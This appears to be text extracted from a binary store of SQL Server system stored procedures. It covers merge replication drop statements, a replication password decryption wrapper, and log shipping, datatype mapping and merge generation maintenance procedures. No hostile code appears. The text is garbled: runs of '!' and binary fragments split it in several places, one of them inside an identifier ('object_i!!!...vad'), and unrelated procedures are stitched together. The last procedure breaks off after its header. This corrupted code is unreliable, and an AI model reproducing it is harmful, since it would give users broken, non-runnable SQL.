        drop procedure sys.sp_MScheckatpublisher

    if object_id('sp_MSdropmergepub_snapshot', 'P') is not NULL
        drop procedure sys.sp_MSdropmergepub_snapshot

    if object_id('sp_addmergepublication', 'P') is not NULL
        drop procedure sys.sp_addmergepublication

    if object_id('sp_changemergepublication', 'P') is not NULL
        drop procedure sys.sp_changemergepublication

    if object_id('sp_MSCheckmergereplication', 'P') is not NULL
        drop procedure sys.sp_MSCheckmergereplication

    if object_id('sp_helpmergepublication', 'P') is not NULL
        drop procedure sys.sp_helpmergepublication

    if object_id('sp_MShelpmergepub_withrownumbers', 'P') is not NULL
        drop procedure sys.sp_MShelpmergepub_withrownumbers

    if object_id('sp_MShelpmergepub_withoutrownumbers', 'P') is not NULL
        drop procedure sys.sp_MShelpmergepub_withoutrownumbers

    if object_id('sp_MSdropmergepalrole', 'P') is not NULL
        drop procedure sys.sp_MSdropmergepalrole

    if object_id('sp_mergearticlecolumn', 'P') is not NULL
        drop procedure sys.sp_mergearticlecolumn

    if object_id('sp_helpmergearticlecolumn', 'P') is not NULL
        drop procedure sys.sp_helpmergearticlecolumn

    if object_id('fn_MSrepl_map_resolver_clsid', 'FN') is not NULL
        drop function sys.fn_MSrepl_map_resolver_clsid

    if object_id('sp_MSisdynamicfunction', 'P') is not NULL
        drop procedure sys.sp_MSisdynamicfunction

    if object_id('sp_registercustomresolver', 'P') is not NULL
        drop procedure sys.sp_registercustomresolver

    if object_id('sp_unregistercustomresolver', 'P') is not NULL
        drop procedure sys.sp_unregistercustomresolver

    if object_id('sp_lookupcustomresolver', 'P') is not NULL
        drop procedure sys.sp_lookupcustomresolver

    if object_id('sp_MSrepl_register_default_resolvers', 'P') is not NULL
        drop procedure sys.sp_MSrepl_register_default_resolvers

    if object_id(N'fn_MSdetermine_related_articles', 'TF') is not null
        drop function sys.fn_MSdetermine_related_articles

    if object_id('sp_MSpublicationview', 'P') is not NULL
        drop procedure sys.sp_MSpublicationview

    if object_id('sp_reinitmergesubscription', 'P') is not NULL
        drop procedure sys.sp_reinitmergesubscription

    if object_id('sp_MSreinitmergepublication', 'P') is not NULL
        drop procedure sys.sp_MSreinitmergepublication

    if object_id('sp_MSreinitoverlappingmergepublications', 'P') is not NULL
        drop procedure sys.sp_MSreinitoverlappingmergepublications
     
    if object_id('sp_MScleanup_conflict_table', 'P') is not NULL
        drop procedure sys.sp_MScleanup_conflict_table

    if object_id('sp_MScleanup_conflict', 'P') is not NULL
        drop procedure sys.sp_MScleanup_conflict

    if object_id('sp_mergecleanupmetadata', 'P') is not NULL
        drop procedure sys.sp_mergecleanupmetadata

    if object_id('sp_MSdrop_expired_mergesubscription', 'P') is not NULL
        drop procedure sys.sp_MSdrop_expired_mergesubscription
        
	if object_id('sp_MSdrop_expired_mergesubscription90', 'P') is not NULL
        drop procedure sys.sp_MSdrop_expired_mergesubscription90

    if object_id('sp_dropmergepublication', 'P') is not NULL
        drop procedure sys.sp_dropmergepublication

    if object_id('sp_MSaddmergeschemaarticle', 'P') is not NULL
        drop procedure sys.sp_MSaddmergeschemaarticle

    if object_id('sp_MSsetup_publisher_idrange', 'P') is not NULL
        drop procedure sys.sp_MSsetup_publisher_idrange

    if object_id('sp_MScompute_maxmin_identity', 'P') is not NULL
        drop procedure sys.sp_MScompute_maxmin_identity

    if object_id('sp_MScheck_autoident_parameters', 'P') is not NULL
        drop procedure sys.sp_MScheck_autoident_parameters

    if object_id('sp_MScheck_republisher_ranges', 'P') is not NULL
        drop procedure sys.sp_MScheck_republisher_ranges

    if object_id('sp_restoremergeidentityrange', 'P') is not NULL
        drop procedure sys.sp_restoremergeidentityrange
        
    if object_id('sp_addmergearticle', 'P') is not NULL
        drop procedure sys.sp_addmergearticle

    if object_id('sp_MSchangemergeschemaarticle', 'P') is not NULL
        drop procedure sys.sp_MSchangemergeschemaarticle

    if object_id('sp_changemergearticle', 'P') is not NULL
        drop procedure sys.sp_changemergearticle

    if object_id('sp_MSreinit_hub', 'P') is not NULL
        drop procedure sys.sp_MSreinit_hub

    if object_id('sp_helpmergearticle', 'P') is not NULL
        drop procedure sys.sp_helpmergearticle

    if object_id('sp_dropmergearticle', 'P') is not NULL
        drop procedure sys.sp_dropmergearticle

    if object_id('sp_addmergesubscription', 'P') is not NULL
        drop procedure sys.sp_addmergesubscription

    if object_id('sp_helpmergelogsettings', 'P') is not NULL
        drop procedure sys.sp_helpmergelogsettings

    if object_id('sp_helpmergelogfiles', 'P') is not NULL
        drop procedure sys.sp_helpmergelogfiles

    if object_id('sp_helpmergelogfileswithdata', 'P') is not NULL
        drop procedure sys.sp_helpmergelogfileswithdata

    if object_id('sp_cleanmergelogfiles', 'P') is not NULL
        drop procedure sys.sp_cleanmergelogfiles

    if object_id('sp_addmergelogsettings', 'P') is not NULL
        drop procedure sys.sp_addmergelogsettings

    if object_id('sp_changemergelogsettings', 'P') is not NULL
        drop procedure sys.sp_changemergelogsettings

    if object_id('sp_dropmergelogsettings', 'P') is not NULL
        drop procedure sys.sp_dropmergelogsettings

    if object_id('sp_changemergesubscription', 'P') is not NULL
        drop procedure sys.sp_changemergesubscription

    if object_id('sp_helpmergesubscription', 'P') is not NULL
        drop procedure sys.sp_helpmergesubscription

    if object_id('sp_dropmergesubscription', 'P') is not NULL
        drop procedure sys.sp_dropmergesubscription

    if object_id('sp_helpmergefilter', 'P') is not NULL
        drop procedure sys.sp_helpmergefilter

    if object_id('sp_changemergefilter', 'P') is not NULL
        drop procedure sys.sp_changemergefilter

    if object_id('sp_addmergefilter', 'P') is not NULL
        drop procedure sys.sp_addmergefilter

    if object_id('sp_dropmergefilter', 'P') is not NULL
        drop procedure sys.sp_dropmergefilter

    if object_id('sp_MSmergepublishdb', 'P') is not NULL
        drop procedure sys.sp_MSmergepublishdb

    if object_id('sp_helpallowmerge_publication', 'P') is not NULL
        drop procedure sys.sp_helpallowmerge_publication

    if object_id('sp_enumcustomresolvers', 'P') is not NULL
        drop procedure sys.sp_enumcustomresolvers

    if object_id('sp_MSenumpubreferences', 'P') is not NULL
        drop procedure sys.sp_MSenumpubreferences

    if object_id('sp_MSscript_dri', 'P') is not NULL
        drop procedure sys.sp_MSscript_dri

    if object_id('sp_MSsubsetpublication', 'P') is not NULL
        drop procedure sys.sp_MSsubsetpublication

    if object_id('sp_generatefilters', 'P') is not NULL
        drop procedure sys.sp_generatefilters

    if object_i!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
;%vad('sp_MSmakejoinfilter', 'P') is not NULL
        drop procedure sys.sp_MSmakejoinfilter

    if object_id('sp_MSmakeexpandproc', 'P') is not NULL
        drop procedure sys.sp_MSmakeexpandproc

    if object_id('sp_MSindexcolfrombin', 'P') is not NULL
        drop procedure sys.sp_MSindexcolfrombin

    if object_id('sp_MShelpvalidationdate', 'P') is not NULL
        drop procedure sys.sp_MShelpvalidationdate

    if object_id('sp_helpmergearticleconflicts', 'P') is not NULL
        drop procedure sys.sp_helpmergearticleconflicts

    if object_id('sp_get_mergepublishedarticleproperties', 'P') is not NULL
        drop procedure sys.sp_get_mergepublishedarticleproperties

    if object_id('sp_MSdropmergearticle', 'P') is not NULL
        drop procedure sys.sp_MSdropmergearticle

    if object_id('sp_MShelpmergeconflictpublications', 'P') is not NULL
        drop procedure sys.sp_MShelpmergeconflictpublications

    if object_id('sp_MShelpmergeconflictcounts', 'P') is not NULL
        drop procedure sys.sp_MShelpmergeconflictcounts

    if object_id('sp_helpmergeconflictrows', 'P') is not NULL
        drop procedure sys.sp_helpmergeconflictrows

    if object_id('sp_helpmergedeleteconflictrows', 'P') is not NULL
        drop procedure sys.sp_helpmergedeleteconflictrows

    if object_id('sp_deletemergeconflictrow', 'P') is not NULL
        drop procedure sys.sp_deletemergeconflictrow

    if object_id('sp_getmergedeletetype', 'P') is not NULL
        drop procedure sys.sp_getmergedeletetype

    if object_id('sp_mergedummyupdate', 'P') is not NULL
        drop procedure sys.sp_mergedummyupdate

    if object_id('sp_validatemergepublication', 'P') is not NULL
        drop procedure sys.sp_validatemergepublication

    if object_id('sp_validatemergesubscription', 'P') is not NULL
        drop procedure sys.sp_validatemergesubscription

    if object_id('sp_addtabletocontents', 'P') is not NULL
        drop procedure sys.sp_addtabletocontents

    if object_id('sp_addmergealternatepublisher', 'P') is not NULL
        drop procedure sys.sp_addmergealternatepublisher

    if object_id('sp_helpmergealternatepublisher', 'P') is not NULL
        drop procedure sys.sp_helpmergealternatepublisher

    if object_id('sp_dropmergealternatepublisher', 'P') is not NULL
        drop procedure sys.sp_dropmergealternatepublisher

    if object_id('sp_MScomputemergearticlescreationorder', 'P') is not NULL
        drop procedure sys.sp_MScomputemergearticlescreationorder

    if object_id('sp_MSclearcolumnbit', 'P') is not NULL
        drop procedure sys.sp_MSclearcolumnbit

    if object_id('sp_MScomputemergeunresolvedrefs', 'P') is not NULL
        drop procedure sys.sp_MScomputemergeunresolvedrefs

    if object_id('sp_MSgetpubinfo', 'P') is not NULL
        drop procedure sys.sp_MSgetpubinfo 

    if object_id(N'sys.sp_MSgetpartitionsnapshotfolder', 'P') is not NULL
        drop procedure sys.sp_MSgetpartitionsnapshotfolder

    if object_id(N'sys.sp_MScreatemergedynamicsnapshot', 'P') is not NULL
        drop procedure sys.sp_MScreatemergedynamicsnapshot

    if object_id('sp_MSaddmergedynamicsnapshotjob', 'P') is not NULL
        drop procedure sys.sp_MSaddmergedynamicsnapshotjob

    if object_id('sp_adddynamicsnapshot_job', 'P') is not NULL
        drop procedure sys.sp_adddynamicsnapshot_job

    if object_id('sp_changedynamicsnapshot_job', 'P') is not NULL
        drop procedure sys.sp_changedynamicsnapshot_job

    if object_id('sp_MSrefreshdynamicsnapshotlocations', 'P') is not NULL
        drop procedure sys.sp_MSrefreshdynamicsnapshotlocations

    if object_id('sp_MSchangemergedynamicsnapshotjob', 'P') is not NULL
        drop procedure sys.sp_MSchangemergedynamicsnapshotjob

    if object_id('sp_helpdynamicsnapshot_job', 'P') is not NULL
        drop procedure sys.sp_helpdynamicsnapshot_job

    if object_id('sp_dropdynamicsnapshot_job', 'P') is not NULL
        drop procedure sys.sp_dropdynamicsnapshot_job

    if object_id('sp_MSpropagateschematorepubs', 'P') is not NULL
        drop procedure sys.sp_MSpropagateschematorepubs

    if object_id('sp_MSdropmergedynamicsnapshotjob', 'P') is not NULL
        drop procedure sys.sp_MSdropmergedynamicsnapshotjob

    if object_id('sp_MShelpmergedynamicsnapshotjob', 'P') is not NULL
        drop procedure sys.sp_MShelpmergedynamicsnapshotjob

    if object_id('sp_MSget_dynamic_filtering_information', 'P') is not NULL
        drop procedure sys.sp_MSget_dynamic_filtering_information

    if object_id('sp_MScheck_dynamic_filtering_information', 'P') is not NULL
        drop procedure sys.sp_MScheck_dynamic_filtering_information

    if object_id('sp_addmergepartition', 'P') is not NULL
        drop procedure sys.sp_addmergepartition

    if object_id('sp_dropmergepartition', 'P') is not NULL
        drop procedure sys.sp_dropmergepartition

    if object_id('sp_helpmergepartition', 'P') is not NULL
        drop procedure sys.sp_helpmergepartition

    if object_id('sp_MSget_dynamic_filters_function_list', 'P') is not NULL
        drop procedure sys.sp_MSget_dynamic_filters_function_list

    if object_id('sp_MSget_partitionid_eval_proc', 'P') is not NULL
        drop procedure sys.sp_MSget_partitionid_eval_proc

    if object_id('sp_MSsetup_partition_groups_table', 'P') is not NULL
        drop procedure sys.sp_MSsetup_partition_groups_table

    if object_id('sp_MSsetup_use_partition_groups', 'P') is not NULL
        drop procedure sys.sp_MSsetup_use_partition_groups

    if object_id('sp_MSsetup_partition_groups', 'P') is not NULL
        drop procedure sys.sp_MSsetup_partition_groups

    if object_id('sp_MSsetup_publication_for_partition_groups', 'P') is not NULL
        drop procedure sys.sp_MSsetup_publication_for_partition_groups

    if object_id('sp_MSdisable_use_partition_groups', 'P') is not NULL
        drop procedure sys.sp_MSdisable_use_partition_groups        
        
    if object_id('sp_MSvalidate_wellpartitioned_articles', 'P') is not NULL
        drop procedure sys.sp_MSvalidate_wellpartitioned_articles  
        
    if object_id('sp_MScheck_allparents_wellpartitioned', 'P') is not NULL
        drop procedure sys.sp_MScheck_allparents_wellpartitioned  

    if object_id('sp_MSadd_merge_partition_column', 'P') is not NULL
        drop procedure sys.sp_MSadd_merge_partition_column

    if object_id('sp_MSgenerate_articlechangemembershipevaluation_proc', 'P') is not NULL
        drop procedure sys.sp_MSgenerate_articlechangemembershipevaluation_proc

    if object_id('sp_MSsetup_function_list_table', 'P') is not NULL
        drop procedure sys.sp_MSsetup_function_list_table

    if object_id('sp_MSmodify_boolfilterclause', 'P') is not NULL
        drop procedure sys.sp_MSmodify_boolfilterclause

    if object_id('sp_MSget_subscriber_partition_id', 'P') is not NULL
        drop procedure sys.sp_MSget_subscriber_partition_id

    if object_id('sp_MSget_current_subscriber_partition_id', 'P') is not NULL
        drop procedure sys.sp_MSget_current_subscriber_partition_id
        
    if object_id('sp_MSevaluate_change_membership_for_pubid', 'P') is not NULL
        drop procedure sys.sp_MSevaluate_change_membership_for_pubid

    if object_id('sp_MSevaluate_change_membership_for_row', 'P') is not NULL
        drop procedure sys.sp_MSevaluate_change_membership_for_row
        
    if object_id('sp_MSevaluate_change_membership_for_all_articles_in_pubid', 'P') is not NULL
        drop procedure sys.sp_MSevaluate_change_membership_for_all_articles_in_pubid

    if object_id('sp_MScreate_logical_record_views', 'P') is not NULL
        drop procedure sys.sp_MScreate_logical_record_views

    if object_id('sp_MSreset_logical_record_views', 'P') is not NULL
        drop procedure sys.sp_MSreset_logical_record_views

    if object_id('sp_MSmakeorcheck_joinfilter_usin!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`S
<)

2:/w@0f 8--
-- Name: 
--	sp_MSrepldecrypt
-- 
-- Description: 
--	This procedure is a wrapper that actually calls
--	fn_repldecryptver4 as well as xp_repl_help_connect.
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On Success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: None as this procedure is not public.
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_MSrepldecrypt
(
	@password nvarchar(524) OUTPUT
)
AS
BEGIN
	DECLARE @retcode int
	
	SELECT @password = sys.fn_repldecryptver4(@password)
	IF @@ERROR <> 0 RETURN 1

	EXEC @retcode = sys.xp_repl_help_connect @password OUTPUT
	IF @@ERROR <> 0 RETURN 1
	
	RETURN 0	
END
0H@ 8create procedure sys.sp_MSFixPubColumnBitmaps
        @pubid uniqueidentifier,
        @artid uniqueidentifier,
        @bm varbinary(128) = NULL output,
        @NeedSchemaChange int = NULL output
as
        declare @delcols_prev varbinary(128) 
        declare @delcols_now varbinary(128) 
        declare @deletedcols varbinary(128) 
        declare @excluded_cols varbinary(128) 
        declare @excluded_cols_previous varbinary(128) 
        declare @excluded_col_count int
        declare @missing_cols varbinary(128) 
        declare @missing_col_count int
        declare @retcode int
        declare @objid int

        declare @is_republisher bit


       -- If this proc is called by replication agent as part of applying the DDL on the
       -- subscriber then this must be a republisher scenario.
    -- check if this is a republisher.
    if exists (select pubid from dbo.sysmergearticles where artid=@artid and pubid<>@pubid and sys.fn_MSmerge_islocalpubid(pubid)=0)
        select @is_republisher=1
    else
        select @is_republisher=0

    select     @delcols_prev        = deleted_cols, 
            @missing_cols     = missing_cols, 
            @excluded_cols     = excluded_cols,
            @objid             = objid
    from dbo.sysmergearticles where pubid = @pubid and artid = @artid

    -- Find the deleted columns
    exec sys.sp_MSfillup_deleted_cols @objid, @delcols_now OUTPUT

    set @delcols_prev=isnull(@delcols_prev, 0x00)
    set @delcols_now=isnull(@delcols_now, 0x00)

    exec @retcode= sys.sp_MSBitmapXOr
        @bm1= @delcols_prev,
        @bm2= @delcols_now,
        @bmout= @deletedcols output

    set @excluded_cols_previous = @excluded_cols

    if @is_republisher <> 1
    -- This is the root publisher. Build the deleted columns bitmask
    -- from by looking at sys.columns
    begin
        -- Add deleted col to missing col
        exec @retcode= sys.sp_ORbitmap
                @inputbitmap1= @missing_cols,
                @inputbitmap2= @deletedcols,
                @resultbitmap3= @missing_cols output

        exec @retcode= sys.sp_firstonly_bitmap
                    @inputbitmap1= @excluded_cols, 
                    @inputbitmap2= @deletedcols,
                    @resultbitmap3= @excluded_cols output
    end
    else
    begin
        -- This is a re-publisher. The schemachange sp_MSFixSubColumnBitmaps must have already
        -- updated the missing columns bitmask based on what it got from its publisher. Use that bitmask
        -- instead of looking at sys.columns since we are interested in the absolute col index based on
        -- root publisher and what sys.columns will give us is the index based on the republisher table schema.
            exec @retcode= sys.sp_firstonly_bitmap
                            @inputbitmap1= @excluded_cols, 
                            @inputbitmap2= @missing_cols,
                            @resultbitmap3= @excluded_cols output
    end

    if @excluded_cols = @excluded_cols_previous
    set @NeedSchemaChange = 1

    exec @retcode= sys.sp_MSBitmapCount
                @bm1= @excluded_cols,
                @count= @excluded_col_count output

    exec @retcode= sys.sp_MSBitmapCount
                @bm1= @missing_cols,
                @count= @missing_col_count output

    update dbo.sysmergearticles 
        set     deleted_cols        = @delcols_now, 
            excluded_cols     = @excluded_cols,
            excluded_col_count= @excluded_col_count,
            missing_cols         = @missing_cols, 
            missing_col_count     = @missing_col_count
    where pubid = @pubid and artid = @artid

    exec @retcode= sys.sp_ORbitmap
                    @inputbitmap1= @missing_cols,
                    @inputbitmap2= @excluded_cols,
                    @resultbitmap3= @bm output
    return (0)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!T`	<z
:s50n?@ $8create procedure sys.sp_delete_log_shipping_secondary_primary 
(
    @primary_server sysname -- cannot be NULL
    ,@primary_database sysname -- cannot be NULL
)
as
begin
    set nocount on
    declare @retcode int
                ,@secondary_id uniqueidentifier
                ,@monitor_server sysname 
                ,@monitor_server_security_mode int
                ,@copy_job_id uniqueidentifier
                ,@restore_job_id uniqueidentifier

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- Does it exist
    --
    select @secondary_id = secondary_id
            ,@monitor_server = monitor_server
            ,@monitor_server_security_mode = monitor_server_security_mode
            ,@copy_job_id = copy_job_id
            ,@restore_job_id = restore_job_id
    from msdb.dbo.log_shipping_secondary
    where primary_server = upper(@primary_server)
        and primary_database = @primary_database
    if (@secondary_id is null)
    begin
        return 0
    end
    --
    -- there should not be any secondary databases for this primary
    --
    if exists (select * from msdb.dbo.log_shipping_secondary_databases
                        where secondary_id = @secondary_id)
    begin
        raiserror(32025, 16, 3, @primary_server, @primary_database)
        return 1
    end
    --
    -- delete copy job for this primary
    --
    exec sys.sp_MSprocesslogshippingjob @type = 2
                                ,@mode = 2 
                                ,@jobid = @copy_job_id
    --
    -- delete restore job for this primary
    --
    exec sys.sp_MSprocesslogshippingjob @type = 3
                                ,@mode = 2 
                                ,@jobid = @restore_job_id
    --
    -- remove monitor metadata for the secondary and remote monitor
    -- The log contain entries where secondary database is null
    -- we need to clean this up when dropping secondary primary
    --
    exec sp_MSprocesslogshippingmonitorsecondary @mode = 2
                ,@secondary_server = @@servername
                ,@secondary_id = @secondary_id
                ,@primary_server = @primary_server
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = @monitor_server_security_mode
                ,@primary_database = @primary_database
    --
    -- Remove remote monitor link if needed
    --
    if (upper(@monitor_server) != upper(@@servername))
    begin
        --
        -- check if any other primary or secondary is using this monitor
        --
        if not exists (select * from msdb.dbo.log_shipping_primary_databases
                            where monitor_server = upper(@monitor_server))
            and not exists (select * from msdb.dbo.log_shipping_secondary
                                    where monitor_server = upper(@monitor_server)
                                        and primary_server = upper(@primary_server)
                                        and primary_database = @primary_database)
        begin
            exec msdb.sys.sp_MSprocesslogshipmonitorlink @mode = 2
                                            ,@monitor_server = @monitor_server
                                            ,@monitor_server_security_mode = @monitor_server_security_mode
        end
    end
    --
    -- remove entry from log_shipping_secondary
    --
    delete msdb.dbo.log_shipping_secondary
    where secondary_id = @secondary_id
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	
<
:+SW0[@ ?8
--
-- Name:
--		sp_MSrepl_fixupdefaultmappings
--
-- Description:
--		Prune any dead map entries (no data type mappings)
--		Restore defaults for any empty default mapping entries
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		Used to clean up after dropping data type mappings
--		NOTE: Caller is assumed to manage transaction
--

CREATE PROCEDURE sys.sp_MSrepl_fixupdefaultmappings
AS
BEGIN
    SET NOCOUNT ON

	-- Delete any dead maps
	DELETE FROM msdb.dbo.MSdbms_map
	WHERE	map_id NOT IN
				(
					SELECT	distinct map_id
					FROM	msdb.dbo.MSdbms_datatype_mapping
				)
	
	IF @@ERROR <> 0
	BEGIN
		RETURN (1)
	END
	
	-- Reset null default mappings
	UPDATE	msdb.dbo.MSdbms_map
	SET		default_datatype_mapping_id = dm.datatype_mapping_id
	FROM	msdb.dbo.MSdbms_map map,
			msdb.dbo.MSdbms_datatype_mapping dm
	WHERE	map.map_id = dm.map_id
	  AND	map.default_datatype_mapping_id IS NULL

	IF @@ERROR <> 0
	BEGIN
		RETURN (1)
	END
	
	RETURN (0)		
END
0@ p8create procedure sys.sp_MSadjustgenerations
    @gen bigint,
    @changecount int,
    @artnick int,
    @dbname nvarchar(258),
    @nickbin varbinary(255)
as
    declare @mismatched_artnick int
    declare @target_gen bigint
    declare @cmd nvarchar(4000)
    declare @bi_view_objid int
    declare @tombstone_rows_moved int
    declare @contents_rows_moved int
    declare @changes_in_gen int
    declare @changes_in_target_gen int
    declare @retcode smallint
    declare @procfailed bit
    declare @error int
    
    select @procfailed = 1
    select @retcode = 0
    select @changes_in_gen = @changecount
    
    begin tran
    save tran sp_MSadjustgenerations

    -- select mismatched articles from CONTENTS & TOMBSTONE
    -- note : UNION operator will eliminate duplicate results
    DECLARE #get_mismatched_artnicks CURSOR LOCAL FAST_FORWARD FOR 
        select tablenick from dbo.MSmerge_contents where generation = @gen and tablenick <> @artnick 
        UNION
        select tablenick from dbo.MSmerge_tombstone where generation = @gen and tablenick <> @artnick        
    FOR READ ONLY

    open #get_mismatched_artnicks
    fetch #get_mismatched_artnicks into @mismatched_artnick    
    while ( @@fetch_status <> -1 )
    begin

        -- get a generation to move the mismatched records, one with genstatus = 3

        -- note: since we are in the middle of coalescing loop and as it is possible that generations 
        -- for @mismatched_artnick have already been coalesced, 
        -- we move the records to a generation with least number of changes
        select top 1 @target_gen = generation,  @changes_in_target_gen = changecount from dbo.MSmerge_genhistory
            where art_nick = @mismatched_artnick and genstatus = 3        
            order by changecount asc 

        if @target_gen is null
        begin
            -- insert a new generation for @mismatched_artnick with genstatus=3
            insert into dbo.MSmerge_genhistory with (rowlock)
            (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
              values  (newid(), 3, @mismatched_artnick, @nickbin, getdate(), 0)
              
            select @error = @@error, @target_gen = @@identity
            if @error<>0 or @target_gen is NULL
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            select @changes_in_target_gen=0
        end
        
        -- update gen for mismatched_artnick

        -- update TOMBSTONE
        update dbo.MSmerge_tombstone with (rowlock) set generation = @target_gen 
            where generation = @gen and tablenick = @mismatched_artnick
        select @error = @@error, @tombstone_rows_moved = @@rowcount            
        if @error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end

        select @changes_in_target_gen = @changes_in_target_gen + @tombstone_rows_moved
        select @changes_in_gen = @changes_in_gen - @tombstone_rows_moved

        -- update PPM    
        update dbo.MSmerge_past_partition_mappings with (rowlock) set generation = @target_gen 
            where generation = @gen and tablenick = @mismatched_artnick
        if @@error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end

        -- update CONTENTS            
        update dbo.MSmerge_contents with (rowlock) set generation = @target_gen 
            where generation = @gen and tablenick = @mismatched_artnick
        select @error = @@error, @contents_rows_moved = @@rowcount
        if @error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end

        select @changes_in_target_gen = @changes_in_target_gen + @contents_rows_moved
        select @changes_in_gen = @changes_in_gen - @contents_rows_moved

        -- now update all other tables include before view that are using the old generation number
        set @bi_view_objid= (select top 1 before_upd_view_objid from dbo.sysmergearticles where nickname = @mismatched_artnick)
        if @bi_view_objid is not null
        begin
            set @cmd= 'update ' + @dbname + '.[dbo].' + quotename(object_name(@bi_view_objid)) 
                        + ' set generation=@target_gen where generation=@gen'

            exec sys.sp_executesql @cmd, N'@gen bigint, @target_gen bigint', @gen=@gen, @target_gen=@target_gen
            if @@ERROR <> 0 
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end
        end

        -- update CONTENTS.partchangegen
         update dbo.MSmerge_contents with (rowlock) set partchangegen = @target_gen 
            where partchangegen = @gen and tablenick = @mismatched_artnick
        if @error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end

        -- update CONTENTS.partchangegen
        update dbo.MSmerge_contents with (rowlock) set partchangegen = (-@target_gen )
            where partchangegen = (-@gen) and tablenick = @mismatched_artnick
        if @error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end

        -- update METADATAACTION_REQUEST
        update dbo.MSmerge_metadataaction_request with (rowlock) set generation = @target_gen 
            where generation = @gen and tablenick = @mismatched_artnick
        if @error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end

        -- update GENHISTORY.changecount
        update dbo.MSmerge_genhistory with (rowlock) set changecount = @changes_in_gen where generation = @gen
        if @@error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end
        
        update dbo.MSmerge_genhistory with (rowlock)  set changecount = @changes_in_target_gen where generation = @target_gen
        if @@error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end

        fetch next from #get_mismatched_artnicks into @mismatched_artnick
    end

    close #get_mismatched_artnicks
    deallocate #get_mismatched_artnicks

END_TRAN:
    commit transaction
    select @procfailed = 0

EXIT_RELEASE_TRAN:
    if (@procfailed = 1)
    begin
        rollback tran sp_MSadjustgenerations
        commit tran
        return 1
    end

EXIT_PROC:
    if (@procfailed = 1)
        return (1)    
    else
        return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<
:&-A0l0@ 8
create procedure sys.sp_MScleanup_subscriber_history @subid uniqueidentifier = NULL, @keep_sessions int = 0 as
begin
